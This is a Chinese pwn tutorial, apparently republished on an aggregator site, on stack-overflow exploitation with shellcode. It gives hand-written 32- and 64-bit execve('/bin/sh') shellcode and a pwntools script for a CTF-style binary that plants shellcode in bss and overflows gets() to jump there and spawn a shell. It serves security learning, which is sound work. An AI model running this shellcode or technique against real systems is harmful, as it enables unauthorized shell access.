二进制学习(pwn)-shellcode

这篇具有很好参考价值的文章主要介绍了二进制学习(pwn)-shellcode。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

安装好了pwntool、ROPgadget、onegadget以及pwngdb,读懂并手写脚本复现了上一篇中基于64位有后门的栈溢出漏洞,恭喜你少年,你已经完成二进制的筑基啦。接下来,我们要介绍的是栈溢出的第二种利用形式:基于shellcode的栈溢出。

在编程语言中要想获得系统执行权限,可以使用system('/bin/sh')。该函数是基于系统函数execve('/bin/sh',0,0),编译为机器码后运行就可以getshell。而shellcode就相当于execve('/bin/sh',0,0)的机器码,如果程序中没有提供类似于system('/bin/sh')这样的后门,那么我们完全可以向一个具有可执行权限的内存区域中传入shellcode来达到同样的效果。

  • 32位shellcode编写

32位系统调用命令是int 0x80,execve的调用号是0xb(由eax记录),三个参数'/bin/sh',0,0分别由ebx,ecx和edx记录。

section .text    global _start_start:    xor ecx,ecx;    xor edx,edx;    xor eax,eax;    push eax;#使得/bin/sh后面出现00,截断字符串    push "//sh";#占位防止出现00    push "/bin";    mov ebx,esp;    mov al,0xb;#直接将0xb赋值给eax高位,防止高位补0    int 0x80;
  • 64位shellcode编写

64位系统调用命令是syscall,execve的调用号是59(由rax记录),三个参数'/bin/sh',0,0分别由rdi,rsi和rdx记录。

section .text    global _start_start:    xor rsi,rsi;    xor rdx,rdx;    xor rbx,rbx;#传入00,便于截断    push rbx;    mov rbx,"/bin//sh";#长度超过32位,只能通过寄存器传参,加/补位    push rbx;    mov rdi,rsp;    mov al,59;    syscall;

以上两种shellcode都是采用系统调用实现execve('/bin/sh',0,0),能理解即可,不用刻意去记。当然不理解也没关系,pwntool中内置了生成shellcode的函数。在32位环境下使用asm(shellcraft.sh()),在64位环境下使用asm(shellcraft.amd64.sh()),即可生成shellcode。

下面给出一道基于shellcode的64位栈溢出例题,结合题目直观了解一下shellcode的使用方法。

二进制学习(pwn)-shellcode

       

可以看到程序中存在两个输入函数,read()和gets()。read输入函数的数据存在name处,且name位于bss段。

二进制学习(pwn)-shellcode

gets输入函数的数据则放在栈中,由于对输入长度没有限制,所以存在栈溢出。

二进制学习(pwn)-shellcode

当程序没有开启pie时,栈的位置是随机的,但是bss段的地址是固定的。因此本题的思路是在第一个输入函数read()处放shellcode,在第二个输入函数gets()处栈溢出调整到bss段,执行shellcode获取服务权限。

#!/usr/bin/python#coding=utf-8from pwn import *from LibcSearcher import *
local_file  = 'level1'#choose right lib according to the elflocal_libc  = '/lib/x86_64-linux-gnu/libc-2.23.so'#local_libc  = '/lib/i386-linux-gnu/libc-2.23.so'remote_libc = local_libcis_local = Falseis_remote = False
if len(sys.argv) == 1:    is_local = True    p = process(local_file)    libc = ELF(local_libc)elif len(sys.argv) > 1:    is_remote = True    if len(sys.argv) == 3:        host = sys.argv[1]        port = sys.argv[2]    else:        host, port = sys.argv[1].split(':')    p = remote(host, port)    libc = ELF(remote_libc)
elf = ELF(local_file)context.log_level = 'debug'context.arch = elf.archp.recvuntil("tell me your name\n")payload=asm(shellcraft.amd64.sh())p.sendline(payload)p.recvuntil("What do you want to say to me?\n")payload="A"*0x28+p64(0x601080)p.sendline(payload)p.interactive()

从31行开始进入我们的核心代码。首先接收消息,然后生成shellcode通过read函数写入bss段。再接收消息,在把栈填满后返回地址放置0x601080(bss段地址)实现跳转执行shellcode。

本期二进制学习分享就到这里啦,题目链接可以关注"断剑重铸"公众号查看pwn学习的浇水篇,有问题可随时通过公众号留言哦~

 文章来源地址https://www.toymoban.com/news/detail-475352.html

到了这里,关于二进制学习(pwn)-shellcode的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • (六)Kubernetes - 手动部署(二进制方式安装)

    可参考以下链接,了解nginx和keepalived,不看也不影响部署 CHAPTER 3 Web HA集群部署 - Keepalived CHAPTER 1 Web Server - nginx 安装配置 Nginx是一个主流Web服务和反向代理服务器,这里用四层实现对apiserver实现负载均衡。 Keepalived是一个主流高可用软件,基于VIP绑定实现服务器双机热备,在

    2024年02月04日
    浏览(47)
  • 二进制包安装Docker(亲测有效)

    最近公司用docker部署项目,由于是内网环境,安装docker不能yum安装,只能rmp或者二进制包安装,但是rmp安装又有许多的依赖包要安装,而且要解决依赖冲突问题;所以就选择了 二进制安装Docker 方式。网上查了很多资料,踩了很多坑,下面记录本人亲测有效的安装方式、步骤

    2024年02月07日
    浏览(31)
  • 01-mysql安装篇(rpm方式安装+二进制方式安装)

    1、检查是否安装了mariadb 卸载清除: rpm -e 文件名 2、下载mysql 官网地址:https://downloads.mysql.com/archives/community/ 3、上传解压 4、安装 报错:error: Failed dependencies: net-tools is needed by mysql-community-server-5.7.37-1.el7.x86_64 解决: 5、检查安装 6、开启mysql服务 7、登陆mysql 第一次启动mysq

    2024年02月10日
    浏览(50)
  • notepad++安装HexEditor插件查看二进制文件

    有时候我们需要分析二进制文件,但是分析二进制文件直接用编辑器查看会出现乱码的情况,本文在 notepad++ 软件上安装一个 HexEditor 插件,可方便分析二进制文件。 打开下面的网址,下载HexEditor 插件 https://sourceforge.net/projects/npp-plugins/files/ 解压下载的压缩包文件,得到一个

    2024年02月02日
    浏览(48)
  • MySQL三种安装方法(yum安装、编译安装、二进制安装)

    切记:一定要关闭防火墙和selinux!!! 服务器配置:2C4G即可,一台 mysql的官方网站:www.mysql.com 中文官网:https://www.mysql.com/cn/ 1、下载mysql的yum源 2、安装mysql的yum仓库 3、配置yum源 4、安装数据库 5、查找密码 6、修改密码 两种方式: 第一种:登录数据库后操作 第二种:免入

    2024年02月07日
    浏览(52)
  • 二进制方式安装MySQL并备份数据库

    ①代码 ②结果   ①代码 ②结果 

    2024年02月22日
    浏览(54)
  • 【Linux】通过二进制文件安装docker-24.0.2

    本教程测试环境为debian9,其他环境中可能会出现报错或安装失败的问题 写入内容为:

    2024年02月13日
    浏览(52)
  • k8s1.20二进制包安装

    主机IP地址 主机名 主机角色 主机配置 软件列表 10.58.32.31 k8s-master01 master,LB 2C4G kube-apiserver、kube-controller-manager、kube-scheduler、etcd、kubelet、kube-proxy、docker,haproxy、keepalived 10.58.32.32 k8s-master02 master,LB 2C4G kube-apiserver、kube-controller-manager、kube-scheduler、etcd、kubelet、kube-proxy、dock

    2024年02月16日
    浏览(40)
  • k8s 1.28版本二进制安装

      二进制安装比较复杂,但是也比较稳定,适用于线上环境使用。   本笔记参考自:https://github.com/cby-chen/Kubernetes ,针对文中内容,有部分镜像无法拉取等,还有一部分有点小问题,自己有做一些小的提示、修改。建议参考本文安装即可。 kubernetes(k8s)二进制高可用安

    2024年02月04日
    浏览(63)
  • FPGA 学习笔记:Vivado simulation 仿真波形二进制显示

    最近在学习FPGA,发现除了烧写到FPGA上验证功能,最有效的方式就是软件仿真 软件仿真:simulation,就像是模拟器一样,写好测试用例,然后看是否可以输出想要的结果,用于验证FPGA逻辑的准确性 当前仿真成功后,还是需要真机实测验证 当前安装了好几个版本的Vivado ,当然

    2024年02月12日
    浏览(56)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包